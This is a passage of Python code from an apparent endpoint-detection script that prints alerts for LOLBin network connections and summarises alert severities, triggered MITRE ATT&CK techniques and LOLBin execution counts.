all_alerts.extend(pc_alerts)
print("\n--- LOLBin Network Connections ---")
net_alerts = detect_lolbin_network(network_events)
print(f" LOLBin network connections: {len(net_alerts)}")
for a in net_alerts[:15]:
print(f" [CRITICAL] {a['binary']} -> {a['destination_ip']}:{a['destination_port']}"
f" ({a.get('destination_hostname', 'N/A')})")
all_alerts.extend(net_alerts)
stats = generate_statistics(process_events, all_alerts)
print(f"\n{'=' * 60}")
print(f"SUMMARY: {stats['total_alerts']} total alerts")
for sev, count in sorted(stats["alert_severity_counts"].items()):
print(f" {sev.upper()}: {count}")
if stats["mitre_technique_counts"]:
print("\nMITRE ATT&CK techniques triggered:")
for tech, count in sorted(stats["mitre_technique_counts"].items(), key=lambda x: -x[1]):
print(f" {tech}: {count}")
if stats["lolbin_execution_counts"]:
print("\nLOLBin execution counts:")
for binary, count in sorted(stats["lolbin_execution_counts"].items(), key=lambda x: -x[1])[:20]:
print(f" {binary}: {count}")